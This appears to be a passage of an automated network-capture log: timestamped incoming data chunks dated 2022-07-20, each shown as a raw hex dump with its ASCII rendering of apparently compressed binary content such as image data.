2022-07-20 11:24:49 UTC	7063	IN	Data Raw: 99 e6 f9 37 92 f9 fe 67 fd 32 56 4a e0 fe 20 78 f3 49 d6 34 f9 bc 3b a7 4d 77 ab ea 57 12 27 95 0c d1 6c 9a 79 97 e5 f9 bf f8 8a d4 f8 73 e1 5d 4a 3d 27 4d bd f1 0c 33 5a 7d 8a 37 b1 d3 61 ff 00 96 f1 ba fc ac af fe 76 d2 8e 12 18 3a 5f 59 ae f9 6e ee a3 bb d7 d7 5f c3 a7 53 a3 99 49 72 da e7 45 a5 68 7e 0c d6 25 b3 d2 2e bc 49 0d a7 db 63 79 7c 9b 3b 4d 9f 6b 9b ee a4 89 1b 67 a5 73 be 3c 92 ef e1 bc db 34 b8 75 0d 5f 4c 8e 3f f5 d0 fc 9f ec fe f5 56 b4 67 f0 fd 86 87 e2 1f ed 48 2f 3f 7b f2 79 96 90 cb f3 ef ff 00 9e ab fe 7e 5a b5 1e 95 a6 eb 12 d9 ea 1e 4e b9 77 2c 71 fe f2 6b c9 7e 4f 9b f8 65 8d 7f d7 56 74 f1 13 a3 5d 56 f6 8e 54 9a d6 32 4a d7 f9 5b ef 09 72 7b 3e 56 ac d1 cb f8 73 5c d2 6e 2d 34 dd 5e 7d 37 50 bb b9 d4 77 db 5b 69 fe 57 fa cf fe Data Ascii: 7g2VJ xI4;MwW'lys]J='M3Z}7av:_Yn_SIrEh~%.Icy\|;Mkgs<4u_L?VgH/?{y~ZNw,qk~OeVt]VT2J[r{>Vs\n-4^}7Pw[iW
2022-07-20 11:24:49 UTC	7070	IN	Data Raw: b9 ab 9d d5 8a 37 5e 2a be d5 2e e1 81 3c eb bf f9 65 24 30 d7 5f ff 00 08 af f6 3d dc 2f 3f fc bc 7f ac 9b ca df e5 ff 00 f1 35 bd e0 38 e3 8f 49 9b 51 d2 21 86 6d 4f fe 3e 6e 61 9a 24 d9 b3 f8 bc bf f7 3f e7 9d 6a 5f 69 b0 49 2f d9 75 1b c8 66 fb 44 bf 66 fd f7 f7 e4 ff 00 96 bb bf de a9 95 57 19 f2 c7 63 a2 11 bc 79 99 91 a6 c1 25 bf fc 4c 52 1f 3a 28 e4 f2 be d7 37 fc b4 ad ad 4a 0d 27 54 86 19 d3 ce b4 8a df fd 65 dc df 3f 99 ff 00 d8 ff 00 7a 99 25 d7 fc 4b fc 89 3c 9d 3a 3b 2f f9 63 fc 11 bf dd ff 00 d9 29 96 3e 2e 82 e3 ed 96 a9 fb eb 9b d9 12 5b d8 bc af 92 44 fe 05 fc 6b 96 52 ea 6e b4 20 f0 e4 76 96 fe 32 d6 27 fd cf da 63 8e 0f df 43 f3 c1 f3 25 33 ed d6 9a 5c d6 7e 2f ba b3 9a 19 7c c7 8a 3f ee 6c ff 00 e2 9b f8 6b 13 ce 93 54 d5 bc 49 6b e4 Data Ascii: 7^*.<e$0_=/?58IQ!mO>na$?j_iI/ufDfWcy%LR:(7J'Te?z%K<:;/c)>.[DkRn v2'cC%3\~/\|?lkTIk
2022-07-20 11:24:49 UTC	7086	IN	Data Raw: fc 51 44 df df ff 00 6c d7 4b 84 2a 46 4e a5 3d fa bd ef dc cb 95 47 5b 9a 9e 26 d2 b5 ef 87 7a 87 f6 25 ec df 64 d4 bc df f4 dd 3f ec 90 79 12 5b ff 00 b6 8c 07 9a 9f dd 6f bb 59 12 26 93 f6 4f 33 48 87 c3 d6 9a c5 96 c8 a3 86 d3 4f 82 0f 23 fb ab fe 7e 6a f6 0b 1f da 93 c2 7a 5f 9d 65 af 78 57 4f bb d4 e4 b9 f3 2c b5 0d 46 29 2e a6 b8 b9 d9 f2 f9 ab b7 76 df 97 e6 f2 fe 5f f6 6b c8 bc 75 ff 00 08 47 8b 34 39 b5 7b 59 ff 00 b3 bc 55 79 7b e6 7f c2 27 69 68 fe 4e 99 fc 3b bc d5 6f bb fc 75 e5 62 f2 d8 c6 8a 9c 27 a6 ef 4d 6d e6 9e ff 00 81 cc e4 e3 b1 ca 78 aa c6 49 2f 34 d8 35 1d 62 ef 57 b6 bd 91 fe d3 34 d6 8f f6 2d ff 00 c3 1f fd f7 fc 55 89 ac 69 57 7e 0b d2 6f 35 7d 53 c9 b4 b6 8f 7f 99 0c 3a 87 ef f7 b7 ca df ed 6f ae db 43 ba 93 4b f8 71 0c 1a 84 Data Ascii: QDlK*FN=G[&z%d?y[oY&O3HO#~jz_exWO,F).v_kuG49{YUy{'ihN;oub'MmxI/45bW4-UiW~o5}S:oCKq
2022-07-20 11:24:49 UTC	7102	IN	Data Raw: ea ba 6d c4 3e 47 ef a1 b6 92 3f 36 4f 3b e4 f3 3f e9 a3 25 7a 1e 8f e0 3b 4d 0e 6b 3d 47 fd 2f 57 b6 f9 fc bf 3a 54 74 f9 be f7 fa c5 df 4f be f8 6b 69 e2 cd 5a ce eb 51 d1 fc eb 18 f6 79 7f 63 97 62 48 9f ed ff 00 bb 59 46 70 a7 09 54 a7 77 6b e9 1d 76 e9 63 9b d9 55 e5 ba 7f 23 cf 7c 23 63 a9 5c 6a d0 ef 9a 68 6c 63 df fb ef 35 3f 77 fe f5 75 13 d8 ff 00 a5 fd aa cb 52 9a 6f 2f fd 6c 33 7c 90 49 5b 5a ce 8f 69 6f 34 3a 26 83 37 f6 1d 8d bf ee bf d3 2d 3f 7f 22 47 ff 00 2d 37 7f 1d 62 cf 1e ad 6f 77 35 94 1a 6c 3e 5c 7f bd 8e ee 69 7f d1 76 7f b6 eb 59 46 72 ac a3 56 a2 e5 f2 7f a8 95 26 a3 7a 88 c4 d2 bc 88 fc 43 67 6a fa 0c d7 7f 7f ca fb 67 fa 88 f7 7d ef bd 5b 7a af 87 2c 6c f5 08 7f b1 34 7f 27 53 f2 d3 cc bb f3 7f e2 5f 1f ff 00 67 fd ea da 93 c2 Data Ascii: m>G?6O;?%z;Mk=G/W:TtOkiZQycbHYFpTwkvcU#\|#c\jhlc5?wuRo/l3\|I[Zio4:&7-?"G-7bow5l>\ivYFrV&zCgjg}[z,l4'S_g
2022-07-20 11:24:49 UTC	7110	IN	Data Raw: 1b 68 e3 fb 4d c4 bf 3e fd 91 ff 00 72 bd 2f c3 3e 0f f0 be 9f e1 dd 4e d2 7d 7b ec 9a 95 bd 93 db 4b e4 8d e9 3a 4d f3 b4 7f ed 37 dc db b7 ee fc d5 e4 62 2a 60 a3 17 1b 7a d9 17 0a 91 4c b7 f1 d3 c6 d6 ad e3 8b 5f 10 4a 26 ba 8e 2f 26 2d 2a 43 2c 0f 0b d8 ac 1b 2d f6 b2 7d ef 95 7e 7f fb e6 b8 89 fc 5b 24 9a b7 ee 35 29 ae ee 6c bf d2 64 bb fe 0f f6 7e 6f e0 c5 7a ff 00 87 fc 01 a4 dc 78 66 19 35 18 74 99 b4 cb 2f 32 48 ee ae f7 fd 96 07 df f3 fe eb ef 6f dd fc 35 53 51 d2 ff 00 e1 24 d0 f4 d9 f4 ed 07 4f fb 35 e5 cb c5 fb ed 27 e4 fd cf ce f0 fc df c6 17 e7 db f3 57 85 1c 6d 15 2e 48 d2 6d 45 d9 b6 ed 6f f3 34 94 b5 68 f2 3f 03 f8 3f fb 73 c6 3a 3c 16 53 43 2f da 3f d2 6f 65 bb bf 8e 6f 32 1f f5 8f 1b a2 ff 00 1f a5 77 7a 26 9e 9e 34 d4 25 d1 f4 bd 0a Data Ascii: hM>r/>N}{K:M7b`zL_J&/&-C,-}~[$5)ld~ozxf5t/2Ho5SQ$O5'Wm.HmEo4h??s:<SC/?oeo2wz&4%
2022-07-20 11:24:49 UTC	7126	IN	Data Raw: e6 fb 55 ed e7 d9 3f 77 ff 00 2d a1 ff 00 59 50 6a 5a 1c 9e 4f db 61 9a 18 62 92 3f fb f7 4c d2 bc 41 fd a9 35 e3 de de 79 d1 7c 92 7e fb ee 7c df ec 56 bc df f1 52 4d 35 8c 10 ff 00 64 5b 49 1f ee e1 fb ff 00 f7 cd 63 57 da c2 6a 7b 77 f4 26 a4 9f c4 ce 43 f7 77 9e 4a 7f ae 92 3f f5 7f bd ac fb ef 32 ce d2 14 ff 00 a6 9e 6c 9e 4d 4f f6 7b fb 78 76 7d 8e 6f b3 47 27 fa e9 ad 36 7f e3 d4 9a 95 8f 99 e4 a4 10 f9 d7 32 49 ff 00 2c 7f e5 a2 57 a9 0d d7 98 e1 2b b4 64 5f 6c b8 d5 a1 99 21 fd d4 9b 3c ca bb e6 47 25 a6 c7 9b f7 bf f4 c6 b4 63 d3 63 92 d3 ec be 4f ef 23 df fe 5a ae e8 fa 6c 1a 85 a6 fb d9 a1 b4 8b cc f2 a3 fd d7 cf 27 fb 55 52 a8 a1 17 29 1b 68 b7 24 f0 cc 96 12 79 29 75 e7 45 7d 1c 69 f6 28 a1 d8 89 23 ff 00 b5 5a f2 78 8e d3 4b d5 a6 86 ea 18 Data Ascii: U?w-YPjZOab?LA5y\|~\|VRM5d[IcWj{w&CwJ?2lMO{xv}oG'62I,W+d_l!<G%ccO#Zl'UR)h$y)uE}i(#ZxK
2022-07-20 11:24:49 UTC	7142	IN	Data Raw: b1 69 7a 94 be 22 d5 e4 b9 ff 00 49 fb 1f fa 8f 3b f8 a2 b7 55 f9 a7 cb fd eb 8f b8 bf 75 77 57 3d e1 1f 18 f8 a3 c0 77 9f 6d d2 f5 e9 b4 8b 9b 7b 2f 36 4f 27 67 9f b1 be 4f 97 cc ce dd d5 c8 5a 78 d2 ee f2 f2 68 34 8d 4b fb 3b f7 7e 54 97 70 fd f9 37 3d 73 ba 55 ab 4b da 49 ea ad d3 4d 3b 9a 46 70 8c 2d 6d 4e a2 3f 0d fd 9e d2 67 d7 ac fe c9 73 a7 6c 8b ec 9a 8e ff 00 b5 5c 4d 22 7c ab b7 ef 7d df fd 96 b4 2e e4 82 e3 c3 fa 6e 9d a4 79 d0 c5 e5 fd 9a 4f 3a 54 f3 bc ed ff 00 be 57 db 8f c3 6f f2 ab 76 32 6b 52 43 37 f6 8c 3a 7e b9 7d 71 1f d9 a4 d5 b5 1d f7 49 27 c9 fd ed db 9d d1 7f ef 8a e4 23 d7 24 8e 6d 93 43 77 a8 dc d9 46 fe 5d a6 a3 12 24 16 e9 b3 e6 dd 1f fc b4 ff 00 65 73 59 51 bd 59 26 da 6f 7d 1e 9f f0 09 b2 b5 ec 72 7e 24 d3 6d 2e 35 09 a7 b5 Data Ascii: iz"I;UuwW=wm{/6O'gOZxh4K;~Tp7=sUKIM;Fp-mN?gsl\M"\|}.nyO:TWov2kRC7:~}qI'#$mCwF]$esYQY&o}r~$m.5
2022-07-20 11:24:49 UTC	7150	IN	Data Raw: 00 6d 78 ae 2c 6e 3d 51 a9 1f 6a 92 5d 7a 18 c6 ef 63 ca 7c 2b e3 cd 37 c0 fa 87 9f 04 df 6b 8b cb f2 bc e9 a2 ff 00 56 9f c5 5a 9e 34 f1 8c f7 1a b4 33 c1 34 da 75 8f da 7c db 68 7c df 93 fd ea ef ee bc 09 e1 3b cd 46 68 7f b3 6d 26 be 92 3f de 4d f6 44 f2 7c 95 fe ec 5f fb 35 71 be 38 f8 57 61 ae 43 67 6b a5 ea 57 70 fd 9f fe 5d 3c ad e9 1f fb b5 e7 61 f1 b8 1a d8 88 d4 69 c6 4d 6a d9 af bc 95 d9 27 c1 6f 17 58 49 e3 dd 61 35 7f f4 b8 ae 34 d7 96 e7 ef f9 12 4d fc 1f 76 b7 bc 69 e2 6b 4d 72 d3 ed ba be 9b e4 c5 1f fc bd ea 31 6f 79 3f da af 2b f0 ff 00 87 e4 f0 7f 88 7f b3 a3 9a 6f f5 9e 54 97 7e 6e c4 ff 00 80 ad 7a 37 c4 6b ad 76 e3 c2 70 cf 3c d6 96 96 b6 d6 de 6c 9f f3 de 47 ad 71 58 5a 4f 1b 4e ac 5e e9 2b de d6 f4 f5 3a 15 47 28 5b b1 e5 17 57 d7 Data Ascii: mx,n=Qj]zc\|+7kVZ434u\|h\|;Fhm&?MD\|_5q8WaCgkWp]<aiMj'oXIa54MvikMr1oy?+oT~nz7kvp<lGqXZON^+:G([W
2022-07-20 11:24:49 UTC	7166	IN	Data Raw: fe f6 ff 00 eb 59 fd 57 05 89 a5 52 15 9f 2a 6f 76 d7 ea 3b 34 ee 8f 78 ba d4 b5 2d 73 c3 33 3f d8 e1 87 cc fd ef 93 77 2b ba 48 8d fe e7 fa ba e5 ed 75 cd 26 4f 10 43 35 ed e7 9d 73 65 1f fc b1 97 f7 13 a7 f7 bf e0 15 b7 e1 5f 87 be 21 d3 f4 38 60 4f 12 43 69 1d bc 8f 25 b4 b6 92 ef 79 1d be f6 e5 7f e0 ae 37 e3 34 16 9a 7f fc c3 7f e2 6f 24 89 fe 97 0f c8 f2 7f db 3f ee 7f bb 5e 6e 0e 9d 1a 95 be af 09 7b b2 bd 9c 7a 1a 3b da ec ed 7c 4d 23 f8 e2 2f 3b 4f b3 d3 e5 be b2 ff 00 8f 28 bc df dc 5c 7f e3 bf 7e a0 b1 d5 7c cb 4f 23 c4 36 7f f1 33 92 5f f8 f4 b3 f9 20 83 fd ef ee 57 8f f8 7f c4 5a b6 9f 69 fb 89 b5 08 62 8e 4f de 4d f3 fe ed 3f d9 af 57 f0 75 f6 9b e2 0b 4f b6 e9 7a c4 33 6a 71 c7 fb cf ed 1f 91 ff 00 de 6f ef d7 5d 7c 2b c0 43 97 ec ad 9a bd Data Ascii: YWR*ov;4x-s3?w+Hu&OC5se_!8`OCi%y74o$?^n{z;\|M#/;O(\~\|O#63_ WZibOM?WuOz3jqo]\|+C
2022-07-20 11:24:49 UTC	7182	IN	Data Raw: f9 5a 76 f9 6e 62 bc fd f3 c9 e5 ff 00 aa 8d 5b ef 3c df fa 0d 73 be 19 d0 3c 4b 1e ad fd a2 fe 1b ff 00 8a 7e df 7c b1 da 43 12 23 f9 3f f4 c7 e8 ff 00 37 f3 ad 1f 18 fc 58 d4 bc 3f e1 9b 3b 14 f1 27 fc 25 ba 1c 96 df bb 96 ee d2 08 3f d6 3f fa d8 a2 fb df ec f9 9f 76 b8 f1 31 ab 88 e4 74 e5 65 d8 4a 31 4a f2 2d 69 be 1f b0 bc d5 a1 8d ef 26 86 c6 e2 37 8b ec 9e 6b a2 49 f2 7c 91 ef 5f e2 ae 36 f6 1d 4b 5f 9a 6f ec 88 6d 34 e9 24 8d e3 8f 50 d4 62 f9 e4 9b f8 e3 b7 ff 00 77 fd 9a d0 d3 7c 71 ab 69 7f 0b 75 2d 23 c5 70 dd dd c5 f6 d4 fe c0 b4 ff 00 8f 57 fd e3 ff 00 a4 ee fe 3f 20 ff 00 15 71 be 34 f8 c5 ab 6a 1a 86 f8 26 86 d2 5f 2f ec 31 c3 a4 6f 48 2d 21 ff 00 9e 56 d1 ff 00 cb 3f f7 ab a2 96 0a d6 f6 8f 9a df 77 dc 44 a5 15 63 57 c3 30 c1 e1 fd 26 cf Data Ascii: Zvnb[<s<K~\|C#?7X?;'%??v1teJ1J-i&7kI\|_6K_om4$Pbw\|qiu-#pW? q4j&_/1oH-!V?wDcW0&
2022-07-20 11:24:49 UTC	7190	IN	Data Raw: fb 37 ff 00 7f fe 5a 6d af a7 2e 3c 3f e1 7d 53 c3 d0 dd 59 4d 2d a7 db 77 c9 65 f6 cb b7 7f 9e 4f bf 2c ff 00 c5 1f f7 7f bb 58 56 9f 0c a7 f0 1c 3a 95 d4 97 96 9e 22 b6 92 44 8b f7 31 7c f2 43 f7 bc b6 fe e6 ef ef d7 a1 83 cd b1 38 78 4d 63 26 e6 ef a2 b2 8a f9 25 a2 dc b9 50 56 d5 1f 2f 78 83 c1 da ef 88 3e 49 fc 9d 5f ed 11 f9 5f f1 2e b4 49 ee a3 db f7 1b f1 ef 5a be 07 b5 b1 f8 6f e1 eb 34 f1 0e 9b 17 f6 c4 9b e5 8e 1d 46 24 f2 7e 57 f9 62 ff 00 7d ab d0 af bc 47 a4 c7 a8 5e 5a e8 30 da 4d a9 c9 7b fb cf ec ef f9 67 f2 7c df 37 fc b5 ac bf 89 56 37 16 7f d8 3a f7 89 61 fb 27 d9 e4 7f 2e ee 18 b7 bc 8e df 77 7b 7f cb 3d d5 f4 35 71 52 ad 4e 38 5a da 27 ad 96 8d 9c 32 83 41 a9 78 3a df 54 9a f2 f6 cb 52 ff 00 4e d4 63 4f f8 a7 a6 bb f2 3c 8f e2 92 34 Data Ascii: 7Zm.<?}SYM-weO,XV:"D1\|C8xMc&%PV/x>I__.IZo4F$~Wb}G^Z0M{g\|7V7:a'.w{=5qRN8Z'2Ax:TRNcO<4
2022-07-20 11:24:49 UTC	7206	IN	Data Raw: cf f0 6d 9e f9 a6 f2 b5 e9 1f cb 9b fe 7a 79 3f e0 ed f3 57 ad 78 82 ea c3 c4 90 d9 a6 af a6 cd 77 2c 92 7d 86 db c9 bb fd f4 8e bf df fe fa 7f b5 5b 1a c5 af 87 bc 71 e0 d8 74 bb 5b 3b 49 a5 b7 b6 fb 35 b4 3f 73 ec e9 e7 ee 69 a0 e9 f7 9e bd 79 66 b1 95 15 52 a4 1a ee fa 19 7b 34 ae e2 cf 9c ff 00 e1 1c d1 74 3f 0f 79 13 cd 77 a7 6b 97 1b ef a3 8b fe 79 a3 7f 0b 57 6b e1 5f 13 dc 69 fe 18 b3 ba 9e 6f 3a e7 fd 54 77 73 45 b1 3c 9d ff 00 76 2d bf 33 ff 00 c0 ab 23 e2 87 c3 9d 5a 38 61 d4 60 87 50 fb 0d bc 70 5b 47 34 df 3c ff 00 f0 3f f6 6b 2e 3f 13 7f 6a 69 f6 7a 0b d9 c3 0f ef 12 da db ce 97 e4 ff 00 81 35 6f 52 10 c6 d0 8c d4 b9 d5 ee f5 db bd 8c 2e 93 b3 3a 1f 13 49 77 a5 dd eb 1a a5 96 9b fe 8d 1f fa bb bf f9 6f b1 be f4 cd fe 76 d7 4b e1 cf 10 7d 8f Data Ascii: mzy?Wxw,}[qt[;I5?siyfR{4t?ywkyWk_io:TwsE<v-3#Z8a`Pp[G4<?k.?jiz5oR.:IwovK}
2022-07-20 11:24:49 UTC	7222	IN	Data Raw: 1d 62 6b b9 7c b7 fb 4c df ed b7 dc ff 00 65 6b ae f8 c5 f0 af c5 97 1a e5 9c 13 e8 f6 96 91 de c6 f2 db 5d c3 2f fa 2d c7 f7 bf eb 9f fb b5 a3 71 e0 e8 3c 3f a7 c3 e1 4d 2f 47 fd e6 9d 1f da 75 ad 5a 1f df 79 73 37 de 8f fb bf 2f fb 55 ea d3 c6 61 a3 87 a0 e0 d3 a8 f5 bd d6 8b bb 7f 72 5d db 30 94 27 16 db 56 33 be 12 58 f8 7b 4b d3 ef 34 bf ed 28 66 d4 e4 df 17 9b e5 6c 79 13 fe 79 ad 75 76 3e 07 82 cf 56 9a c9 26 fd d4 9f eb 21 d4 6e fc 89 e3 ff 00 bf 83 6f 15 c1 f8 73 c3 9a 6d bf fc 4d 20 87 fd 26 de 4f fa e1 f2 7f 9f 4a d8 93 c6 92 6b 13 7f 64 6a 30 c3 ab f9 7b 3c cb bf f9 e7 0f fb ff 00 fa 16 ea e3 af 4a b5 4c 44 e7 46 4d a7 bd ff 00 4d 8c f9 92 dc 8f 5c ba 83 43 d4 35 2f f8 47 a1 9a ee 4f 2f ca fb 5f fc b0 df ff 00 4c 12 bc 63 c5 da e5 de b1 e4 e9 Data Ascii: bk\|Lek]/-q<?M/GuZys7/Uar]0'V3X{K4(flyyuv>V&!nosmM &OJkdj0{<JLDFMM\C5/GO/_Lc
2022-07-20 11:24:49 UTC	7229	IN	Data Raw: 84 89 2c 96 ba ee 9f bd ff 00 b3 bf e7 d1 9a 4f fd 0f f8 ab 91 d4 c5 64 f2 94 e9 d5 93 84 95 ec d4 9f 37 76 9b 72 b3 5d 5b 4b 7b 6f 7b 29 52 7c a9 38 9e 63 7d a1 ff 00 c2 49 e3 8d 4a 0d 3f 52 bb 9a 28 e3 8e da 3f ec ef 9e 7b 48 57 fd 67 98 9f 2f 98 8a 95 ca 49 e0 79 f5 4b bd 49 2c b5 ef dd fd 9a 09 74 ed 3f ee 43 71 f3 ff 00 77 fe b9 ae fa f7 ed 57 c1 de 1b d4 3e c7 ff 00 08 a6 b1 ff 00 08 bf 97 23 f9 96 90 c5 ff 00 2c 77 fc fe 4e ef ff 00 66 bc eb 5c f8 41 ad 7f c2 43 ff 00 12 49 a5 d5 ee 75 0b 94 ff 00 44 b4 f9 21 8f fb b2 3f fc f4 fa ff 00 0f fc 0a bd bc 0e 71 42 a3 71 9c bd 9b 4b 45 25 6b 7a dd 5b ee 6c 52 8b ea 70 76 ba ed 8e 99 74 2d 64 31 69 3a be a1 71 e6 5c 5d da 79 8e f3 b3 27 cb f2 ff 00 cb 4f ee d6 df c4 5d 2a 08 b5 0b 39 fc 31 a0 eb 5a 54 b6 Data Ascii: ,Od7vr][K{o{)R\|8c}IJ?R(?{HWg/IyKI,t?CqwW>#,wNf\ACIuD!?qBqKE%kz[lRpvt-d1i:q\]y'O]*91ZT
2022-07-20 11:24:49 UTC	7245	IN	Data Raw: ed 0b fd ed df 71 59 ff 00 8f f8 57 a5 25 d7 8b bf e1 24 bb fb 6d f4 de 4c 57 b1 4f 7d 24 30 ec df f6 9d 9f de ff 00 d0 1b ee d7 cc d3 a9 8e c6 d4 8f d6 29 d9 2b fb d7 5a af 4d 76 5d fb 1a c2 2a da 33 ca 20 f1 fc 7a 7d de a5 e1 7f f8 49 25 fe c8 b7 b9 7f 2e ef ca fd f5 de df fa e9 f3 24 12 6e f9 2a 4f 0f e9 3a 67 85 cd 9c 1e 25 bc 96 1f b6 c7 3c 57 36 bf d9 ff 00 3e c6 4d de 5a 3f fa bd eb f2 57 2f ae 7c 27 d5 ae 3c 9b d8 21 96 ee 2f b1 3d f5 b6 a1 35 a7 91 34 e8 a9 bb ef 7f 7b 75 60 47 77 1c 9e 1e fb 2e bd 79 77 69 6d f3 dc c7 e7 45 be 0d 9b 3f 79 1f fb e7 e4 af b9 a1 4e 15 64 e3 85 9d af f1 5a d7 bf 4d ff 00 c8 a8 6f 73 d3 7c 3f aa db f8 c3 c4 1a 6c 1a 5c df 63 d3 6e 36 45 a6 ea 1e 4a 23 f9 d2 7e ef 74 bb 7f d6 ee ef fd da c1 d4 6e 13 c3 f7 50 b6 ae 6f Data Ascii: qYW%$mLWO}$0)+ZMv]3 z}I%.$nO:g%<W6>MZ?W/\|'<!/=54{u`Gw.ywimE?yNdZMos\|?l\cn6EJ#~tnPo
2022-07-20 11:24:49 UTC	7261	IN	Data Raw: e9 d7 9a 85 df 8a a4 d3 52 5f ed 09 a6 4f de 3e cd d2 7f db 3f fc 7e ba bb ef ec 5f 05 da 4d 75 a7 43 37 9b 67 bf ed b3 5e 7e f9 fc 95 ff 00 96 5f dd 47 f7 db 5e 73 a9 78 4a d3 c5 9a b4 c9 65 af 45 fd b1 71 72 9a 95 94 3a 74 a8 96 bf 7f ff 00 43 ff 00 6b fb d5 e4 53 f6 15 1c ea b5 28 a6 ad 79 2f cd 7f 2f 95 f5 f9 1c b3 bd b5 39 eb 7d 67 5a b7 f1 16 b1 a8 6a b0 c5 2e b9 f2 79 71 5d fe fe 1f 3b fe 59 af fb 35 97 e1 8d 63 56 ff 00 84 8b ed b0 f9 3a 8e a5 e6 7f cb 1f 91 f7 b7 c8 d1 d7 a0 78 f3 e1 75 bf d8 fe d5 e3 2d 7a ee 2d 72 ce 39 a2 ff 00 89 74 5e 73 bd be ff 00 dc fd a2 45 ff 00 96 df f8 f6 da e5 fc 31 f0 67 c5 7a 86 b9 a7 18 7e c9 fd 99 71 27 fa 46 ad e6 fe fe d2 2f e2 96 55 ff 00 96 4d fd cf f6 ab d5 a3 89 c1 54 a5 26 a4 96 96 d5 59 69 fc bd d7 a1 87 Data Ascii: R_O>?~_MuC7g^~_G^sxJeEqr:tCkS(y//9}gZj.yq];Y5cV:xu-z-r9t^sE1gz~q'F/UMT&Yi
2022-07-20 11:24:49 UTC	7269	IN	Data Raw: d9 3e 1a f8 a2 cf 5c 9a e9 e1 b4 fe c8 93 fe 3e 7f d2 fe cb f2 7f d3 45 fb a9 ba b8 30 0a 8e 1e 7e d1 49 5f 57 be e8 5c c9 6e 1f 0f 75 cd 0b 58 f0 cd 9d 8d 96 83 ff 00 2d 7c db 9f e0 f2 df fb fe 6e ea f4 df 32 3b 78 66 77 f3 bc ab 78 ff 00 77 0c 32 f9 ff 00 f7 d5 7c ef e2 6f 89 b3 e8 fa e4 3f f0 8b f9 5a 4d 8d bc 5e 54 96 9e 54 6e 9f 2f fe 87 fe f5 74 9e 0e f1 f6 bb e3 0d 46 18 2c b4 d9 ae e5 8f fd 64 30 cb b1 3f fd 9a f4 b1 38 17 28 ba f7 e5 5a bd 4a b2 ee 7a 34 77 16 11 c3 34 90 79 33 45 71 ff 00 3c 6b 2e 3f 17 7d 8e d2 67 9e 18 61 8b fe 5a 5a 7f cf 3a 67 8b ac 67 93 c3 33 5d 4f 0f f6 74 be 62 45 1d a4 3f fa 12 d7 9c cf 75 e5 dd c2 89 fb 98 a4 ff 00 59 fb da d2 8c 5d 58 73 33 45 7b 5c f5 3f 0e 78 82 7b cf 39 34 ef f5 b7 1f f2 e9 ff 00 2c 24 ff 00 be a9 Data Ascii: >\>E0~I_W\nuX-\|n2;xfwxw2\|o?ZM^TTn/tF,d0?8(ZJz4w4y3Eq<k.?}gaZZ:gg3]OtbE?uY]Xs3E{\?x{94,$
2022-07-20 11:24:49 UTC	7285	IN	Data Raw: ad a7 dc 4f 93 77 cd fc 15 a3 07 c0 0d 57 c2 7a 76 8f af 78 d7 51 d2 f4 ef 0b 5e dc 27 da 3c 9d f3 3f fd 73 d8 9f c4 d5 51 a7 84 e7 8d 4c 45 54 e4 fe 18 a7 af 5e 9d 65 d9 d8 e8 82 95 ac 8c 36 d3 6f 3e 28 5d da 69 56 36 72 dd dc f9 89 e5 c3 69 13 fe f3 fd ad be f5 ec 36 9f b2 9e b5 e0 4d 17 52 d6 bc 71 69 a1 c5 6d 1d bf ee a1 9b 50 77 9a 3d bf 7a 2f 2e 3f fc 79 8f dd ff 00 6a b5 7c 6b fb 40 c1 e0 ff 00 13 6a 3a 76 89 a6 da c5 a8 dc 46 96 d2 5d e9 1f e9 5f 64 85 93 f7 51 41 bb 9f bb fc 5f c3 da b1 2e fc 49 79 e1 78 af 74 8f 26 eb 5c be d4 7f e6 07 77 bd fe 79 3f 8d dd be f6 ff 00 bb 5e 5d 4c 66 63 52 30 54 22 a9 d3 7a a4 f5 93 5a 5d de e9 47 e7 7b f7 46 52 e5 5e 7f 97 fc 12 af 85 7c 5d e1 3f 85 76 9a 93 59 59 da 5a 5b 5c 47 f6 99 25 9a 2d f7 32 23 26 d5 48 Data Ascii: OwWzvxQ^'<?sQLET^e6o>(]iV6ri6MRqimPw=z/.?yj\|k@j:vF]_dQA_.Iyxt&\wy?^]LfcR0T"zZ]G{FR^\|]?vYYZ[\G%-2#&H
2022-07-20 11:24:49 UTC	7301	IN	Data Raw: 5c c9 70 92 59 69 d6 91 3c 3e 47 f7 a5 91 57 ef 3f e3 f7 ab 93 d4 bc 7f a1 59 dd 4b 35 d4 53 6a f7 ba 8c 9f e9 33 6a 32 ef 7f 9b fb 9f fc 4d 65 ff 00 c2 71 3d 9f 84 ff 00 b2 d2 5b 5d 27 cb ff 00 59 6b f3 bc d2 7f db 5a e0 ee 3c 55 07 9b 68 ef 17 95 7b e5 f9 9e 6c d1 7f 7b fd aa e4 c2 e5 bc ce f3 8b d3 4d f7 4b 6f f3 d3 ef 35 8c a5 17 76 6c 6a 3f 0a 1f 54 ba d3 3e c5 e2 98 a2 d3 6e 2e 7c bc cd 16 cf b2 7f bf b4 ff 00 ac f4 8c 57 aa df 6b 17 69 e2 7f ec 8b 59 b4 ff 00 33 4a b2 83 fe 26 10 c5 b2 18 d3 67 ca d2 3c 79 f2 dc fb d6 4e 87 e2 ef 10 7c 4c b4 d0 7c 3d a2 da 45 ab 58 c7 27 d9 ac b4 48 76 5a c3 03 c8 9f eb 7c c7 fb d2 7f 16 ea b9 e2 ef 03 eb be 0b d0 e1 78 75 29 a1 b9 b8 91 24 fe c3 b4 fb fb e3 f9 96 5f 97 fd 75 74 62 2a 7b 49 c2 96 25 eb aa 49 db 77 Data Ascii: \pYi<>GW?YK5Sj3j2Meq=[]'YkZ<Uh{l{MKo5vlj?T>n.\|WkiY3J&g<yN\|L\|=EX'HvZ\|xu)$_utb*{I%Iw
2022-07-20 11:24:49 UTC	7309	IN	Data Raw: a3 58 bf c4 0d 3a d2 eb c4 ba 44 5a 8f ee fc ab 8d 3e 6d 3d 12 6b 09 bf 89 3f e9 a7 fb 75 4b 55 fd 9a fc 11 79 35 9d ef db 35 69 6f ed f7 ff 00 c4 c2 1b ad 8f b1 9f e4 66 8d b8 8f 67 fb 35 ad 2c db 2c a1 07 84 c4 53 b2 fb 56 57 bb 5b 3b e9 6b 7a 6b d3 4d 48 e4 93 77 3e 73 8f c4 5a 66 9f a8 ea fa 27 8c a2 fb 26 a5 1d ea 47 6f 0c b1 6f f3 1f fe ba a7 f1 2b 37 cd 8a d5 f1 16 b1 a4 dc 4d 37 85 ef 61 fe d6 b6 d5 63 82 3d 17 ce 97 e4 d1 6f a1 7d 9f f7 e6 7f 9e 19 3f df 56 fe 0a 4f 8e 7f 0e 3c 4b e1 fd 36 69 12 f2 d3 57 f0 ad 9c 70 7d a7 ed 7e 5a 7d 82 e7 fb d6 eb fc 69 fd ef f6 ba d7 8a 49 6f f6 cf 26 48 66 bb 9a fb 51 93 fd 26 5f bf 0c 1b 7f 87 e5 f5 fb d5 fa 06 5f 4e 86 22 31 c5 52 96 9e 5b 5f 4d 6c ec e2 fa b5 f8 b4 cb e6 71 7a 1e 8d f1 79 20 f0 